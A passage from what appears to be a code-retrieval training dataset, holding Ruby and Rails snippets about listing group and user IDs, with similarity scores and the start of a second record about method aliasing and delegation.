\"logged in user\")\n logged_in_group.id = 0\n grps << logged_in_group\n anonymous_group = Group.new(:name => \"anonymous user\")\n anonymous_group.id = -1\n grps << anonymous_group\n return grps.compact.uniq\n end", "def select_group_members_ids(group, project_members, global_setting, user_ids_global_level_watch)\n uids = user_ids_notifiable_on(group, :watch)\n\n # Group setting is global, add to user_ids list if global setting is watch\n uids + (global_setting & user_ids_global_level_watch) - project_members\n end", "def user_ids=(values)\n values ||= []\n values = [ values ] unless values.is_a?(::Array)\n values = values.reject{|v| v.blank?}.map{|v| v.to_i}\n self.users = Incline::User.where(id: values).to_a\n end", "def group_member_ids\n member_ids(\"Group\")\n end", "def recursive_members()\n return @users if @users.present?\n\n # False is the users, true groups\n grouped = member(true).group_by{|g| LdapGroup.dn_is_group? g}\n @users = grouped[false] || []\n groups = grouped[true] || []\n\n cached_groups = {}\n\n groups.each do |g_dn|\n key = dn.rdns.first.values.first\n\n group = cached_groups[key] || LdapGroup.find(g_dn)\n cached_groups[key] = group\n\n group_users = group.member.group_by{ |g| LdapGroup.dn_is_group? g }[false]\n @users.push(*group_users)\n end\n @users\n end", "def filter_owner(group_ids)\n group_ids = Array(group_ids)\n group_ids.delete(user.my_group_id)\n group_ids\n end", "def groups\n return [] if new_record?\n cached_groups do\n fetch_groups!\n end\n end", "def users\n user_arr = []\n accounts.each do |s|\n user_arr << User.find(s.user.id)\n end\n user_arr\n end", "def send_user_list(path)\n path = path[1..-1]\n path = path[0..-2] if path.ends_with?(\"/\")\n results = []\n I3.directory.find_people(:groups, path).each do |uuid|\n p = I3.directory.read_person(uuid)\n result = I3::SharedObject.new\n result.account_name = p.account_name.to_s.downcase\n result.first_name = p.first_name.to_s\n result.last_name = p.last_name.to_s\n result.description = p.description.to_s\n results << result\n end #each\n I3.server.send_object(results)\n end", "def active_glm_id_list\n self.active_group_loan_memberships.map{|x| x.id }\n end", "def child_group_ids\n child_groups.map(&:id)\n end", "def list_stored_user_ids_ar\n Credential.all.map {|credential| credential.user_id}\nend", "def get_groups\n students_ids = @students.keys\n @groups_formed.map { |group| group.map { |id| students_ids[id] } }\n end", "def index\n @user = User.find(current_user.id)\n @groups = @user.groups.all\n end", "def get_device_group_ids(device_group_names)\n query = {\n 'filter': \"displayName_in_#{device_group_names}\"\n }\n device_groups = query_api('device-groups', query)\n if device_groups['data'].nil? || device_groups['data'].size == 0\n nil\n else\n device_groups['data'].map { |group| group['id'] }\n end\n end", "def group_users\n DiscussionGroupUser.where(\"discussion_group_id=? AND is_member=?\", self.id, true)\n end", "def group_members_list(external_group_id: nil, group_id: nil, trace: false, &block)\n if group_id != nil\n group_query = \"{\\\"group\\\":{\\\".tag\\\":\\\"group_id\\\",\\\"group_id\\\":\\\"#{group_id}\\\"}}\"\n elsif external_group_id != nil\n group_query = \"{\\\"group\\\":{\\\".tag\\\":\\\"group_external_id\\\",\\\"group_external_id\\\":\\\"#{external_group_id}\\\"}}\"\n else\n return nil\n end\n r = dropbox_query(query: '2/team/groups/members/list', query_data: group_query, trace: trace)\n r['members'].each(&block)\n while r['has_more']\n r = dropbox_query(query: '2/team/groups/members/list/continue', query_data: \"{\\\"cursor\\\":\\\"#{r['cursor']}\\\"}\", trace: trace)\n r['members'].each(&block)\n end\n end", "def household_user_ids\n @household_user_ids || household.users.where.not(id: id).pluck(:id)\n end", "def household_user_ids\n @household_user_ids || household.users.where.not(id: id).pluck(:id)\n end", "def getGroups\n groups = $gm.get(\"/groups\", @token, \"per_page=100\")\n group_ids = Array.new\n\n groups['response'].each do |group|\n group_ids.push({\n 'name' => group['name'],\n 'group_id' => group['id'],\n 'image' => group['image_url']})\n end\n\n return group_ids\n end", "def index\n @users = @group.users\n end", "def my_students\n CourseUser.joins(group_users: :group).merge(Course::GroupUser.normal).\n where(Course::Group.arel_table[:id].in(group_users.manager.pluck(:group_id))).distinct\n end", "def all_users\n self.users +\n User.where(institution: self.institution).\n select{ |u| u.belongs_to_user_group?(self) }\n end", "def process_group\n slice_size = 0.step(@ids.size - 1, @process_group_chunk).size\n\n @ids.each_slice(slice_size).lazy\n # => [[1, 2, 3, ...], [10, 11, 12, ...], ...]\n end", "def user_ids \n @user_ids ||= input[\"users\"].map{|user| user[\"id\"]}\nend" ]
[ "0.7370149", "0.73389333", "0.7115442", "0.7065258", "0.69778806", "0.68778247", "0.6683224", "0.6653775", "0.66495293", "0.65970844", "0.6554587", "0.6529051", "0.65022486", "0.6501665", "0.6434412", "0.64094436", "0.6372875", "0.6357789", "0.63193935", "0.63113403", "0.6297621", "0.62626076", "0.62354594", "0.62329775", "0.62194294", "0.6214144", "0.6194989", "0.6193361", "0.6162168", "0.61472386", "0.61258215", "0.610573", "0.60725987", "0.60725987", "0.6065636", "0.6037645", "0.60339445", "0.6033457", "0.6031885", "0.60288525", "0.60168856", "0.6016505", "0.60127896", "0.6012415", "0.6006387", "0.60016024", "0.5982854", "0.597992", "0.5950244", "0.5938319", "0.5937264", "0.59201646", "0.59102327", "0.59090006", "0.5908856", "0.5906138", "0.58925325", "0.5873904", "0.5868993", "0.58687705", "0.58687705", "0.58687705", "0.58587974", "0.58573467", "0.5850404", "0.58405554", "0.58399856", "0.5835495", "0.5835495", "0.5835495", "0.58346283", "0.5833743", "0.582565", "0.5822607", "0.58215225", "0.5807537", "0.5801586", "0.58010423", "0.5800091", "0.579751", "0.5768914", "0.576752", "0.5764581", "0.5729187", "0.5717667", "0.571605", "0.57137775", "0.5708732", "0.5707811", "0.5697817", "0.569716", "0.5694035", "0.56857634", "0.56857634", "0.56736904", "0.56700325", "0.5669536", "0.56580466", "0.5645329", "0.56451064" ]
0.63342065
18
Do minimal query to enumerate a list of groups. Return as an Array of ids. Caches result. (Equivalent to using association.ids, I think.)
def group_ids(table) @group_ids ||= {} @group_ids[table] ||= table.to_s.classify.constantize. where("#{type_tag}_id" => id). order(user_group_id: :asc).distinct. pluck(:user_group_id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def group_ids\n groups.pluck(:id)\n end", "def group_ids\n groups.map{|g| g.id}\n end", "def group_ids_for(group)\n strong_memoize(:group_ids) do\n groups = groups_to_include(group)\n\n # Because we are sure that all groups are in the same hierarchy tree\n # we can preset root group for all of them to optimize permission checks\n Group.preset_root_ancestor_for(groups)\n\n groups_user_can_read_items(groups).map(&:id)\n end\n end", "def child_group_ids\n child_groups.map(&:id)\n end", "def group_ids_access(access)\n return [] if !active?\n return [] if !groups_access_permission?\n\n access = self.class.ensure_group_access_list_parameter(access)\n foreign_key = group_through.foreign_key\n klass = group_through.klass\n\n # check direct access\n ids = klass.eager_load(:group).where(foreign_key => id, access: access, groups: { active: true }).pluck(:group_id)\n ids ||= []\n\n # check indirect access through roles if possible\n return ids if !respond_to?(:role_ids)\n\n role_group_ids = RoleGroup.eager_load(:group).where(role_id: role_ids, access: access, groups: { active: true }).pluck(:group_id)\n\n # combines and removes duplicates\n # and returns them in one statement\n ids | role_group_ids\n end", "def groups\n group_ids.split(',').inject(Array.new) do |arr,gid|\n arr << Ecore::Group.where(:id => gid).first\n end\n end", "def group_ids\n @attributes[:group_ids]\n end", "def group_ids\n @attributes[:group_ids]\n end", "def group_ids\n @attributes[:group_ids]\n end", "def group_ids\n [Ecircle.client.find_memberships_by_email(:email => email)].flatten.compact\n end", "def get_groups\n students_ids = @students.keys\n @groups_formed.map { |group| group.map { |id| students_ids[id] } }\n end", "def instance_ids\n @instance_ids ||= groups.map { |gr| gr.instances.map { |i| i.instance_id } }.flatten\n end", "def find_det_group_ids\n\t\t\tdetGroupIds = []\n\t\t\tDetGroup.all.each do |dg|\n\t\t\t\tdetGroupIncluded = true\n\t\t\t\tdg.detectables.pluck(:id).each do |dId|\n\t\t\t\t\tdetGroupIncluded = false if not @allDetectableIds.include?(dId)\n\t\t\t\tend\n\t\t\t\tdetGroupIds << dg.id if detGroupIncluded\n\t\t\tend\n\t\t\treturn detGroupIds\n\t\tend", "def process_group\n slice_size = 0.step(@ids.size - 1, @process_group_chunk).size\n\n @ids.each_slice(slice_size).lazy\n # => [[1, 2, 3, ...], [10, 11, 12, ...], ...]\n end", "def groups\n return [] if new_record?\n cached_groups do\n fetch_groups!\n end\n end", "def group_ids\n @group_ids ||= current_user.group_ids\n end", "def group_ids=(values)\n values ||= []\n values = [ values ] unless values.is_a?(::Array)\n values = values.reject{|v| v.blank?}.map{|v| v.to_i}\n self.groups = Incline::AccessGroup.where(id: values).to_a\n end", "def group_ids=(values)\n values ||= []\n values = [ values ] unless values.is_a?(::Array)\n values = values.reject{|v| v.blank?}.map{|v| v.to_i}\n self.groups = Incline::AccessGroup.where(id: values).to_a\n end", "def associated_records(ids)\n max_ids_in_a_list = connection.ids_in_list_limit || ids.size\n records = []\n ids.each_slice(max_ids_in_a_list) do |some_ids|\n records += yield(some_ids)\n end\n records\n end", "def ids\n pluck(:id)\n end", "def ids\n @ids ||= []\n end", "def active_glm_id_list\n self.active_group_loan_memberships.map{|x| x.id }\n end", "def gemd_ids_for(klass)\n ids = Recommendable.redis.smembers(Recommendable::Helpers::RedisKeyMapper.gemd_set_for(klass, id))\n ids.map!(&:to_i) if [:active_record, :data_mapper, :sequel].include?(Recommendable.config.orm)\n ids\n end", "def group_member_ids\n member_ids(\"Group\")\n end", "def group_ids_by_name\n reversed = assignment.groups.pluck(:group_name, :id).to_h\n respond_to do |format|\n format.xml do\n render xml: reversed.to_xml(root: 'groups', skip_types: 'true')\n end\n format.json do\n render json: reversed.to_json\n end\n end\n end", "def groups\n groups = []\n relations = self.group_relations\n relations.each do |r|\n groups.push r.group\n end\n groups\n end", "def get_groups\n `id -nG #{name}`.split(' ')\n end", "def groups\r\n @groups ||= fetch_groups\r\n end", "def ids\n @store.transaction do\n @store.roots\n end\n end", "def find_groups\n @groups ||= Group.find(:all)\n end", "def groups\n UserGroups.new(:id => id).get.items\n end", "def users\n Webmail::User.in(group_ids: id)\n end", "def groups_in_pairs\n\t #@group_locate = Group.instantiator(params[:id])\n @groups = [['[None]', nil]] + Group.in_pairs(groups = [], parent_name = \"\", list = [], params[:id])\n end", "def get_ids\r\n case id\r\n when 1 then [1,2,3,4,5] # superadmin\r\n when 2 then [2] # data\r\n when 3 then [3,4,5] # centeradmin\r\n when 4 then [4,5] # teamadmin\r\n when 5 then [5] # behandler\r\n when 10 then [10,11,12,13,14,15] # login_bruger\r\n when 11 then [11] # parent\r\n when 12 then [12] # teacher\r\n when 13 then [13] # pedagogue\r\n when 14 then [14] # youth\r\n else []\r\n end\r\n end", "def ids(table)\n res = connection.query(\"SELECT id FROM #{table} GROUP BY id\")\n id_list = []\n res.each { |i| id_list << i[0].to_i }\n return id_list\n end", "def ids\n primary_key_array = Array(primary_key)\n\n if loaded?\n result = records.map do |record|\n if primary_key_array.one?\n record._read_attribute(primary_key_array.first)\n else\n primary_key_array.map { |column| record._read_attribute(column) }\n end\n end\n return @async ? Promise::Complete.new(result) : result\n end\n\n if has_include?(primary_key)\n relation = apply_join_dependency.group(*primary_key_array)\n return relation.ids\n end\n\n columns = arel_columns(primary_key_array)\n relation = spawn\n relation.select_values = columns\n\n result = if relation.where_clause.contradiction?\n ActiveRecord::Result.empty\n else\n skip_query_cache_if_necessary do\n klass.connection.select_all(relation, \"#{klass.name} Ids\", async: @async)\n end\n end\n\n result.then { |result| type_cast_pluck_values(result, columns) }\n end", "def superfamily_ids\n superfamily_ids_set.to_a\n end", "def groups\n find_groups if @groups.nil?\n @groups\n end", "def collect\n base_finder = @base_class.includes(@dependency_tree)\n # If there are dependencies to load, we reduce the the batch size to compensate for\n # the increased memory of loading all the associations at the same time.\n batch_size = @dependency_tree.blank? ? DEFAULT_BATCH_SIZE : DEFAULT_BATCH_SIZE / 10\n enumerable = Enumerator.new do |yielder|\n @ids.each_slice(batch_size).with_index do |batch_of_ids, batch_index|\n with_sql_subscription do\n base_finder.where(@base_class.primary_key => batch_of_ids).load\n end\n # Expose this batch of SELECTs to the enumerator\n yielder.yield(@selects)\n # Reset the accumulator for the next batch (don't hog memory!)\n @selects.clear\n end\n end\n # By using a lazy enumerator, we make it possible to garbage collect records\n # as we process a batch, so long as the end user accesses the data via #each\n # and does not maintain references to previous rows. Example:\n # Polo.explore(klass, ids, associations).each { |row| file.puts(row) }\n enumerable.to_enum.lazy\n end", "def admin_group_ids\n @attributes[:admin_group_ids]\n end", "def index\r\n if current_user.master_user?\r\n @groups = current_user.account.groups\r\n else\r\n @groups = current_user.groups\r\n end\r\n @ids_for_earth = []\r\n @groups.each { |group| @ids_for_earth << group.id unless group.incivents.unarchived.count == 0 && group.tasks.unarchived.count == 0 && group.stories.unarchived.count == 0 && group.measurements.unarchived.count == 0 }\r\n end", "def disgemd_ids_for(klass)\n ids = Recommendable.redis.smembers(Recommendable::Helpers::RedisKeyMapper.disgemd_set_for(klass, id))\n ids.map!(&:to_i) if [:active_record, :data_mapper, :sequel].include?(Recommendable.config.orm)\n ids\n end", "def ids\n self.is_leaf? ? [@ids].flatten : self.children.inject([]) {|result, item| result += item.ids}\n end", "def fellow_group_member_ids\n user_ids = GroupUser\n .where(group_id: group_ids + owned_group_ids)\n .uniq\n .pluck(:user_id)\n\n # don't include self\n user_ids.delete(id)\n\n user_ids\n end", "def groups\n return [] if self.group_list.nil?\n self.group_list\n end", "def get_all_groups\n grps = []\n grps += self.groups\n grps.each { |g| grps += g.get_all_groups }\n return grps.compact.uniq\n end", "def get_identified_group(identity_group,group_hash,reversed_group_hash)\n \n identified_group = Array.new \n\n identity_group.each do |definition|\n group_number = reversed_group_hash[definition]\n\n if !group_number.blank? && !group_number.nil?\n is_belong_to_group = true\n\n if group_hash[group_number].length == 1\n\n is_belong_to_group = true\n\n else \n\n group_hash[group_number].each do |s_identity|\n\n if identity_group.include? s_identity\n next\n else\n is_belong_to_group = false\n end\n\n end\n end \n\n if is_belong_to_group == true\n if !identified_group.include? group_number\n identified_group << group_number\n end\n end \n\n end \n\n end # end of each loop\n\n return identified_group\n\n end", "def member_ids(entity)\n params = self.class.prepare_params_for(:members, \"groupId\" => group_id)\n response = self.class.perform(params)\n self.class.check_response(response)\n # Prepare a User array\n xml = Nokogiri::XML(response.body)\n entity_ids = parse_member_response(xml, entity)\n while (np = self.class.next_page(xml))\n params = self.class.prepare_params_for(:members_page, \"groupId\" => group_id,\n \"startFrom\" => np.to_s.split(\"start=\").last)\n response = self.class.perform(params)\n xml = Nokogiri::XML(response.body)\n entity_ids += parse_member_response(xml, entity)\n end\n entity_ids\n end", "def all_assessment_groups\n extract_assessment_groups(assessment_groups.all(:include => :assessment_group_batches))\n end", "def get_instances\n all_instances = Array.new()\n @groups.values.each do |instances|\n instances.each do |instance|\n all_instances << instance\n end\n end\n all_instances\n end", "def current_groups(options={})\n relation = Relation::GroupRelation.new(@session)\n relation.to_a\n end", "def getGroups\n groups = $gm.get(\"/groups\", @token, \"per_page=100\")\n group_ids = Array.new\n\n groups['response'].each do |group|\n group_ids.push({\n 'name' => group['name'],\n 'group_id' => group['id'],\n 'image' => group['image_url']})\n end\n\n return group_ids\n end", "def teams_with_ids\n team_array = []\n\n self.teams.all.each do |team|\n team_array << [team.name, team.id]\n end\n\n team_array\n end", "def get_associations(unit_id, group_id)\n debug_msg \"Getting association list for group #{group_id} on node #{unit_id}\"\n self.send_cmd [\n Constants::Framing::PKT_START,\n Constants::FunctionClass::SEND_DATA,\n unit_id,\n 3, # length of command (class, command, one argument)\n Constants::CommandClass::ASSOCIATION,\n Constants::Command::Association::GET,\n group_id,\n 0x25, # from reversing, no idea what this is\n next_callback_id\n ]\n p read_response(true) # this one is somehow tied to the orginal request, it has the callback ID in it\n p read_response(true)\n end", "def group_ids(*ids, **)\n ids.sort!.uniq!\n ids\n end", "def all_ids(_context)\n raise NotImplementedError\n end", "def to_a\n fetch(ids)\n end", "def to_a\n fetch(ids)\n end", "def datastore_ids\n array = Array.new\n\n self.each(\"DATASTORES/ID\") do |id|\n array << id.text.to_i\n end\n\n return array\n end", "def ids\n @keys ||= []\n end", "def ids\n root.ids\n end", "def hc_group_list_all(id)\n org=Org.find(id)\n org.hc_groups.all(:order=>'group_name')\n end", "def all_item_ids\n [id] + item_ids\n end", "def hc_group_list(id)\n org=Org.find(id)\n org.hc_groups.group_list\n end", "def ids\n (1..get_item_count).map do |index|\n get_item_identifier index\n end\n end", "def find_groups\n initialize_groups\n @edges.each do |e|\n v1 = e[0]\n v2 = e[1]\n g1 = group_for_id(v1)\n g2 = group_for_id(v2)\n merge_groups(g1, g2)\n end\n end", "def member_object_ids\n return [] unless id\n member_objects.map(&:id)\n end", "def kenim_ids\n @kenim_ids = []\n kenim.each do |k|\n @kenim_ids.push( k._id )\n end\n return @kenim_ids\n end", "def get_ids_for_query\n if param.field.options[:definition]\n definition = param.field.options[:definition]\n else\n # Set up a definition\n definition = Definition.new\n definition.base = param.field.options[:base].is_a?(Proc) ? param.field.options[:base].call : param.field.options[:base]\n\n # Get the fields which we should search for\n fields = @field.is_a?(Array) ? @field : [@field]\n fields.each do |field|\n definition.fields << DefinitionField.new(field, :condition => Local, :value_transmogrification => param.field.options[:value_transmogrification])\n end\n end\n\n # Set up a query\n query = Query.new(definition)\n\n # Add all the fields\n query.group(:any) do |params|\n fields.each do |field|\n params << query.param(field, @operator, @value)\n end\n end\n\n ids = query.results.pluck(param.field.options[:foreign_key])\n\n if @operator == :blank\n all_ids = param.query.definition.base.pluck(:id)\n present_ids = definition.base.pluck(param.field.options[:foreign_key])\n ids = (all_ids - present_ids) + ids\n end\n\n ids\n\n end", "def ids\n @nodes.map(&:id)\n end", "def admin_ids\n group_user_ids(admins_join_table)\n end", "def omim_ids\n @table.keys\n end", "def get_ids_of_all_jobs\r\n result = [id, parent_job_id].compact\r\n result << Job.where([\"parent_job_id in (?)\",result]).select(:id).collect(&:id)\r\n result.flatten.uniq\r\n end", "def participant_ids\n participants.pluck(:id)\n end", "def get_group_ids(cookie, event_id=nil)\n Group.get_group_ids(get_groups(cookie, event_id))\n end", "def ids\n if Array === key\n Stal.solve(redis, key)\n else\n key.call(\"SMEMBERS\")\n end\n end", "def club_owner_ids\n find.\n lifes.\n clubs.\n map(:_id).\n go!\n end", "def async_ids\n async.ids\n end", "def calculate_ids amount, offset\n return [] if @combinations.empty? # Checked here to avoid checking in each backend.\n\n # TODO Redesign such that ids is only created (and cached) if requested.\n #\n backend.ids @combinations, amount, offset\n end", "def personal_groups\n Group.find_personal self.id\n end", "def inherited_group_ids\n self.ancestors.map(&:group_ids).flatten.uniq\n end", "def return_ids(id)\n array = Array.new\n array.push(id)\n subprojects = subProjects(id)\n subprojects.each do |project|\n array.push(return_ids(project.id))\n end\n\n return array.inspect.gsub(\"[\",\"\").gsub(\"]\",\"\").gsub(\"\\\\\",\"\").gsub(\"\\\"\",\"\")\n end", "def all_ids\n @all_ids ||= @ids_fenotypes.keys\n @all_ids\n end", "def gemd_by_ids\n Recommendable.redis.smembers(Recommendable::Helpers::RedisKeyMapper.gemd_by_set_for(self.class, id))\n end", "def get_groups\n\t\tgroup0 = course_groups.find_all_by_group(0).collect(&:user_id)\n\t\tgroup1 = course_groups.find_all_by_group(1).collect(&:user_id)\n\t\t[group0,group1]\n\tend", "def members\n _members = []\n time = Benchmark.measure do\n _members = Rails.cache.fetch(\"group/#{id}/members/#{updated_at.to_f}\") do\n Person.where(id: (memberships.pluck(:entity_id) + rule_member_ids).uniq)\n end\n end\n\n Rails.logger.warn \"Group.members for group with ID #{id} took #{time.real}\" if time.real > 0.50\n\n return _members\n end", "def users\n Ecore::User.where(\"group_ids LIKE '%#{id}%'\").all\n end", "def role_access_ids(group_id, access)\n role_access(group_id, access).collect(&:id)\n end", "def extract_ids\n # no-op\n end", "def public_groups\n Group.find_public self.id\n end", "def eager_loaded_ids(docs, metadata)\n if metadata.stores_foreign_key?\n docs.flat_map{ |doc| doc.send(metadata.foreign_key) }\n else\n docs.map(&:id)\n end\n end", "def all_ids\n db.transaction(true) do |db|\n extract_model_ids(db)\n end\n end", "def ids_reader\n predicate = reflection.options.fetch(:has_member_relation)\n if loaded?\n target.map(&:id)\n else\n owner.resource.query({ predicate: predicate })\n .map { |s| ActiveFedora::Base.uri_to_id(s.object) } | target.map(&:id)\n end\n end", "def ids_getter(name, metadata)\n ids_method = \"#{name.to_s.singularize}_ids\"\n re_define_method(ids_method) do\n send(name).only(:id).map(&:id)\n end\n self\n end", "def collection_to_id_array(col)\n ids = Array.new\n col.each do |i|\n ids << i.id\n end\n ids\n end", "def current_user_group_ids\n @current_user_group_ids ||= Manage::Group.group_ids_for current_user\n end", "def fetch_groups!\n ldap_groups.map do |dn|\n /^cn=([^,]+),/i.match(dn)[1]\n end\n end", "def get_all_child_collections_ids()\r\n ids = @db_interface.get_all_hash_values(@certain_coll_key)\r\n ids ||= []\r\n return ids\r\n end", "def child_ids\n ids = [self.id]\n self.children.each do |child|\n ids += child.child_ids\n end\n ids\n end", "def album_photo_ids\n @album_photo_ids ||= Rails.cache.fetch(album_photo_ids_key, :expires_in => 1.hour) do\n self.photos.all(:select => \"id\").map(&:id)\n end\n end" ]
[ "0.78511167", "0.7703417", "0.7132754", "0.7044208", "0.69745225", "0.6950946", "0.68720907", "0.68720907", "0.68720907", "0.66164225", "0.6528312", "0.6521525", "0.64923316", "0.649051", "0.6470472", "0.6464613", "0.63149285", "0.63149285", "0.62968785", "0.62528807", "0.6231882", "0.6231855", "0.6177324", "0.6145954", "0.6090071", "0.6084301", "0.6061393", "0.60466653", "0.6045003", "0.6036198", "0.60216016", "0.60181344", "0.6008243", "0.59954286", "0.59788424", "0.5977795", "0.59720916", "0.5971158", "0.5940793", "0.5930879", "0.5930184", "0.5922137", "0.5915311", "0.58770275", "0.58743113", "0.5849011", "0.5844816", "0.58067113", "0.5805889", "0.58037454", "0.57900774", "0.57776374", "0.5777403", "0.5774144", "0.57732403", "0.57639647", "0.57572603", "0.57572603", "0.57569706", "0.574957", "0.5746993", "0.57044595", "0.5702548", "0.5698023", "0.5684709", "0.5683311", "0.5677023", "0.5671575", "0.5665042", "0.56596345", "0.56569976", "0.56539935", "0.56527835", "0.56466466", "0.5646344", "0.5630231", "0.5628098", "0.56267256", "0.5624663", "0.5620517", "0.5618809", "0.5615377", "0.5612958", "0.56110996", "0.5604941", "0.5603832", "0.56024545", "0.5594646", "0.55854684", "0.5582724", "0.5579171", "0.5577512", "0.5575207", "0.55748194", "0.55747306", "0.5569929", "0.55676365", "0.55604434", "0.55570865", "0.55568427" ]
0.6278063
19
Wrapper around class method of same name
def authors_join_table self.class.authors_join_table end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delegating_method; end", "def around_method name, &block\n original_method = instance_method name\n _redefine_method name do |*args|\n instance_exec original_method, *args, &block\n end \n end", "def original_method; end", "def implement(method_name)\n method = @klass.instance_method(method_name)\n end", "def make_independent\n self.method = method.dup\n end", "def class_method2\n end", "def proxy meth\n Proxy.new self, meth\n end", "def alias_class_method(new_name, old_name)\n #klass = self.to_s\n metaclass.instance_eval do\n alias_method new_name, old_name\n end\n end", "def alias_class_method(new_name, old_name)\n #klass = self.to_s\n metaclass.instance_eval do\n alias_method new_name, old_name\n end\n end", "def public_class_method(*rest) end", "def method_of_instance; end", "def method_of_instance; end", "def method_of_instance; end", "def method_of_instance; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method_for(klass, meth)\n klass.instance_method(meth)\n end", "def method_missing(method_name, *args, &block)\n wrapped.send(method_name, *args, &block)\n end", "def class_method2\nend", "def original_method(obj, meth, klass=Object)\n klass.instance_method(meth).bind(obj).call\n end", "def original_method(obj, meth, klass=Object)\n klass.instance_method(meth).bind(obj).call\n end", "def a_method\n self\n end", "def unmemoized_instance_method(method_name); end", "def intersys_method(name)\n Method.new(database, class_name, name.to_s, self)\n end", "def method_missing(meth, *args, &block)\n if not @impl.nil? and @impl.respond_to?(meth)\n return @impl.send(meth.to_s, *args, &block)\n end\n # :nocov:\n return super\n # :nocov:\n end", "def method_missing(method_name, *args) self end", "def method_missing(method_name, *args) self end", "def bound_method(block); end", "def apply(klass, method)\n if klass.is_a?(String)\n return unless Object.const_defined?(klass)\n\n klass = Object.const_get(klass)\n end\n\n proxy = self\n original_method = \"_tainted_love_original_#{method}\"\n\n klass.class_eval do\n alias_method original_method, method\n\n define_method method do |*args, &given_block|\n proxy.handle(self, original_method, *args, &given_block)\n end\n end\n end", "def private_class_method(*rest) end", "def wrapper; end", "def define_class_method(name, &code)\n singleton_class.instance_eval { define_method(name, &code) }\n end", "def method(name=nil) # :nodoc:\n return name ? super : @meth\n end", "def wrapper(name); end", "def method_missing(meth, *args); end", "def instance_method(p0) end", "def doubles_by_method_name; end", "def method_missing(method, *args, &block)\n super unless original_self\n original_self.send method, *args, &block\n end", "def method_missing(method, *args)\r\n self.class.method_missing(method, *args)\r\n end", "def class_call(method_name)\n Scenario::Orchestrator.new(self, @mock_class_double, :class, method_name)\n end", "def method_missing(sym, *args, &block)\n @original_self.send(sym, *args, &block)\n end", "def method_missing(meth, *args, &block)\n if !(meth.to_s =~ /=/) and (suffixed_method = \"#{meth.to_s}__c\") and respond_to?(suffixed_method)\n send(suffixed_method)\n else\n super\n end\n end", "def method_missing(meth, *args, &block); end", "def method_missing(meth, *args, &block); end", "def method_missing(meth, *args, &block); end", "def method_missing(*args)\n result = nil\n orig = args.shift\n class_sym = self.class.name.to_sym\n m = orig.to_s[0,5] == '_DAV_' ? orig : \"_DAV_#{orig}\" # If hell is doing the same thing over and over and expecting a different result this is a hell preventer\n raise NoMethodError.new(\"Undefined method: #{orig} for class #{self}.\") unless respond_to?(m)\n @runner.call(class_sym, :before, orig)\n result = send m, *args\n @runner.call(class_sym, :after, orig)\n result\n end", "def magic\n self.class.magic(self)\n end", "def use_as_method\n @method = true\n end", "def run_one_method(klass, method_name, reporter); end", "def restore_instance_method(name)\n if respond_to?(\"#{METHOD_BACKUP_KEY}#{name}\")\n meta_eval {\n alias_method name, \"#{METHOD_BACKUP_KEY}#{name}\"\n remove_method \"#{METHOD_BACKUP_KEY}#{name}\"\n }\n end\n end", "def method_missing(method, *args, &blk); end", "def method\n @method\n end", "def public_class_method(arg0, arg1, *rest)\n end", "def method_missing(method, *args)\n class_for_number(args[0]).public_send(method, *args)\n end", "def method_missing(method, *args)\n class_for_number(args[0]).public_send(method, *args)\n end", "def method_missing(meth, *args, &block)\n\n end", "def method_one; end", "def method_symbol; end", "def add_method(instance, method_name)\n\t define_singleton_method(method_name) do |*args|\n\t instance.public_send(method_name, *args)\n\t end\n\t\tend", "def method_alias(klass, method)\n if klass.method_defined?(method.to_sym) ||\n klass.private_method_defined?(method.to_sym)\n\n with = \"#{method}_with_instana\"\n without = \"#{method}_without_instana\"\n\n klass.class_eval do\n alias_method without, method.to_s\n alias_method method.to_s, with\n end\n else\n ::Instana.logger.debug \"No such method (#{method}) to alias on #{klass}\"\n end\n end", "def old_method\n \"old improved method\"\nend", "def deprecated_method_alias(name, aliased_method, removal_in: nil, class_method: false)\r\n validate name => Symbol, aliased_method => Symbol, removal_in => [NilClass, String],\r\n class_method => [TrueClass, FalseClass]\r\n\r\n target = class_method ? self.class : self\r\n class_name = self.name\r\n\r\n unless target.method_defined?(aliased_method)\r\n raise ArgumentError, \"#{class_name} does not have method #{aliased_method} defined\"\r\n end\r\n\r\n delimiter = class_method ? '.' : '#'\r\n\r\n target.define_method(name) do |*args, **kvargs|\r\n alias_name = format('%s%s%s', class_name, delimiter, name)\r\n aliased_method_name = format('%s%s%s', class_name, delimiter, aliased_method)\r\n Deprecation.warn_method(alias_name, removal_in, aliased_method_name)\r\n method(aliased_method).call(*args, **kvargs)\r\n end\r\n end", "def method=(_); end", "def method_missing(method_sym, *args, &block)\n helper = get_helper(method_sym)\n helper.send(method_sym, *args, &block)\n end", "def method_missing(method_name, *args, &block)\n instance.send(method_name, *args, &block)\n end", "def method_missing(method, *args, &block)\n klass = class_for_api_command(method)\n\n return klass.new(@socket).send(method, *args, &block) if klass\n super(method, *args, &block)\n end", "def method_missing(method, *args, &block); end", "def re_define_class_method(name, &block)\n #klass = self.to_s\n metaclass.instance_eval do\n undef_method(name) if method_defined?(name)\n define_method(name, &block)\n end\n end", "def singleton_method_added(singleton_method_name)\n\n # Skip any methods that are excluded. See @@wrap_exclusions for more information.\n if @@wrap_exclusions.include?(singleton_method_name.to_sym)\n return\n end\n\n # A method that was once wrapped must now be in the excluded list, as well as it's alias.\n # This is to prevent infinite loop.\n @@wrap_exclusions << singleton_method_name.to_sym\n @@wrap_exclusions << \"old_#{singleton_method_name}\".to_sym\n\n # Because I am in a class method here, I need the special self.class_eval\n # in order to add new class methods. Because the names are part of a variable,\n # I use the HEREDOC so I can call alias_method and redefine the same method.\n #\n # * We create an alias so we can call the original method.\n # * We redefine the method by calling before and after callbacks.\n # * The before callbacks are skipped if they are already called without the after.\n # * The after callbacks are skipped if one of the method called a sibbling.\n # We only do the after callbacks when its the original methods that has finished.\n # * Any arguments and return values are perseved\n # * Methods that supports blocks are not supported.\n self.class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1\n class << self\n alias_method :old_#{singleton_method_name}, :#{singleton_method_name}\n end\n def self.#{singleton_method_name}(*args)\n if time_to_call_before_methods?\n before_methods.each do |method|\n send(method)\n end\n end\n entering_wrap_method\n result = old_#{singleton_method_name} *args\n leaving_wrap_method\n if time_to_call_after_methods?\n after_methods.each do |method|\n send(method)\n end\n end\n result\n end\n RUBY_EVAL\n\n end", "def meth(arg1)\nend", "def alias_class_method_chain(target, feature)\n # Strip 